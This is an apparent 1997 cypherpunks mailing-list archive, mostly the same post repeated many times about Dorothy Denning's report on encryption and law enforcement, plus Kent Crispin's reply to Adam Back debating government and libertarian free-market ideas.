           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 18:19:28 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 09:19:28 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010110.TAA08075@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 18:23:41 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 09:23:41 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010116.TAA08235@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
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-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 18:33:07 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 09:33:07 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010122.TAA08460@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 18:37:05 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 09:37:05 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010127.TAA08644@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From kent at songbird.com  Thu Jul 31 18:40:08 1997
From: kent at songbird.com (Kent Crispin)
Date: Fri, 1 Aug 1997 09:40:08 +0800
Subject: free market services vs monopoly government
In-Reply-To: <199707312059.VAA03086@server.test.net>
Message-ID: <19970731182720.53925@bywater.songbird.com>



On Thu, Jul 31, 1997 at 09:59:37PM +0100, Adam Back wrote:
> 
> I wrote at the bottom of another post:
> > General rhetorical question: indeed why have governments at all?
> 
> and Kent Crispin parried:
> : General rhetorical answer:  Because people are the way they are.
> 
> Kent you seem to harbor the belief that government monopoly is a good
> thing, or at least that government is somehow an unavoidable necessary
> evil.

Adam, in all honesty I don't think of it like that at all. 
"Government" to me is a completely neutral abstract term, like
"organization", or "society".  Consequently, a statement like
"Government is always bad" is ipso facto a shallow generalization, and
my natural reaction is to point out that sometimes government is good. 
Since the poor brainwashed souls on cypherpunks uniformly spout the
"Government is bad" party line, the result is that comes out looking
like I think government is good.  But that is an incorrect impression. 
Government, as a general abstract term, is neither bad or good. 

[Note: While "government" in general is a completely neutral term,
particular governments may be better or worse in various dimensions,
of course.  But it is never a black or white thing.  The government of
Singapore accomplishes a great deal for its citizens, but I would not
want to live there because of the constraints on freedoms I value. 
But the government of Singapore is vastly preferable to the government
of North Korea.]

I don't think of government as a "necessary evil", either.  Rather,
I think that a government of some kind is an inevitable outgrowth of
human nature.  I think this for three compelling reasons: first, it is
obversationally true -- there are essentially no human beings who live
without a government of some kind; second, because it is in agreement
with all my observations and knowledge of human nature; and third,
because it makes sense to me as the rational consequence of the
existence of force as an interpersonal interaction. 

[...]

> Are you opposed to free markets?

Nope.

> Government holds a number of monopolies.  These monopolies are not
> efficient.  They result in resource wastage on a mind boggling scale.
> The USG has pretty much bankrupt your country, the US national debt
> being I understand at a level where US citizens collectively do not
> have the resources to pay it off.  If a privately or publicly held
> company got to that stage the receivers would be sent in.

In fact, of course, the US generates a great deal of wealth for its
citizens, who are among the best off and most productive of any nation
on earth.  Of course it could be better, but it could be a whole lot
worse.  To say that the form of government had nothing to do with that
*success* is intellectually dishonest -- one can just as easily argue
that things are good in the US largely *because* we have a relatively
good government. 

> The success that a country does enjoy is pretty much proportional to
> the degree of market freedom.  Luckily for us our governments have
> left a bit of freedom in markets, or we would have food shortages, and
> rationing.

Oh, "luckily".  No possibility that there was intelligence involved,
eh?

[...]
> Governments tend to grow, and soak up larger tax percentages, and
> encroach into more aspects of life which were previously a question of
> free choice, or were previously purely market driven.  The reason for
> this growth is due to the government as an entity unconciously
> promoting itself as an organism.  A great huge cancerous growth which
> has us by the jugular.

"Governments" is the wrong term here.  A more correct term would be 
"bureaucracies."   The growth you describe is endemic to any large 
human organization.  Large corporations go through very similar 
cycles.  Charities, churches, clubs -- it happens everywhere.  
Sometimes the organization becomes too fat and dies.  Sometimes it 
manages to metamorphose into something else.  But none of the 
characteristics you describe are unique to governments.

> The reason governments as businesses can get away with their abysmal
> performance is because they have a near complete monopoly.
> 
> A good start would be a choice in government, to generate some
> competition.  So you can buy membership in a protection racket, hire
> the services of a private security firm, or buy insurance from an
> insurance group because of its benefits package, or go elsewhere if
> the offering sucks.  You choose on an individual basis what package
> best suits you, and you choose the service providers who you consider
> as the best value for money.

This is a pure pipe dream, a utopian fantasy for libertarians.  I 
could say "a good start would be for everyone to love one another" -- 
it would be just as real.

> eg. I can go buy into Uncle Enzo's pizza delivery and protection
> racket because the protection is 5000% better value for money than the
> Feds deal.

How do you get out from Uncle Enzo's protection racket when things go 
sour, if Uncle Enzo doesn't allow his customers to leave, or even to 
say anything bad about him?

> I can pick and choose the services I want to produce a mix which
> satisfies me.  Double efficiency, people don't have services provided
> for them which they actively don't want, and I can buy services which
> the government attempts to prevent the market from providing, so my
> requirements are better met.
> 
> As well as the increased efficiency obtained in provision of services
> which governments are currently holding monopolies on, the reduced
> taxation and regularatory burdens put on the economy would cause a
> boom.
> 
> And your argument is?

You are describing pure speculative fantasy, and it is pointless to
argue the details of your speculation.  All I can do is point out that
it *is* a speculative fantasy, and challenge you to produce something
meaningfully concrete.  Show me a real living example of such a
society in operation.  If such an excellent society existed then
surely people would flock to it in droves.  Or is it like communism --
we have to have the whole world under control before the dictatorship
of the proletariat withers away, and the glorious new world order
flowers?

[...]

> So which mix would you choose Kent?
> 
> Or are you arguing that there are lots of stupid people, and that you
> are happy to let their ill-informed choices, and their willingness to
> go with the bankrupt corrupt status quo fuck your life up? 

No, I think that average people have much more sense than you give
them credit for, and that the egotism of people who are bright
technically frequently blinds them to their shallow understanding of
other areas.  I have seen very bright people caught up in all sorts of
insane ideas.  The best example I know is the weapons physicist, a
brilliant and clever thinker, who is a member of a fundamentalist
Christian group.  He predicted the second coming on a particular day,
and announced it to the press, with a statement to the effect that he
had set off bombs at the Nevada test site with less intellectual
certainty than his prediction.  I'm sure he is now back reading the
the Bible and other texts, and trying to figure out what went wrong. 

I admire his conviction, his tenacity, but not his grip on reality. 

[...]

> Free choice makes for much more efficiency in terms of economics, and
> in terms of individuals happiness.

Sure.  So what.  The issue is what *real* can be done.  Utopian 
fantasies don't do it.

> Here's a reading list for those interested in disbanding government
> and replacing it with services purchased on the free market:
[...]

Hmm.  You base your philosophy on a couple of science fiction novels,
"The Machinery of Freedom", Adam Smith, and Hayek? Some years ago I
read Nozick and Rand, because I thought there might be something to
libertarian philosophy.  I also read parts of "Machinery of Freedom"
-- a better title, I think, would be "Intellectual Tinkertoys of
Freedom" -- and something by Boas, and a couple other things that fade
from my memory.  I conclude that these books are libertarian
scripture, and function like that physicists bible.  People who
believe, and willingly host the parasitic memes, find such texts very
meaningful.  More cynical types such as myself don't relate well to
them. 

Adam, I admire your conviction, I respect your technical expertise a
lot, but we have a different view of reality.  We will just have to
differ on that. 

[...]

>print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
>)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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From attila at hun.attila.org  Thu Jul 31 18:44:26 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 09:44:26 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010137.TAA09057@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 18:48:23 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 09:48:23 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010142.TAA09265@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 18:56:26 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 09:56:26 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010148.TAA09479@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 18:58:15 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 09:58:15 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010153.TAA09635@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 19:03:58 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 10:03:58 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010158.TAA09804@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 19:08:54 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 10:08:54 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010203.UAA10017@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 19:16:50 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 10:16:50 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010208.UAA10219@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 19:20:58 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 10:20:58 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010214.UAA10369@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 19:27:25 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 10:27:25 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010219.UAA10618@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 19:31:36 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 10:31:36 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010224.UAA10843@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 19:36:27 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 10:36:27 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010229.UAA11031@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 19:42:02 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 10:42:02 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010235.UAA11226@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

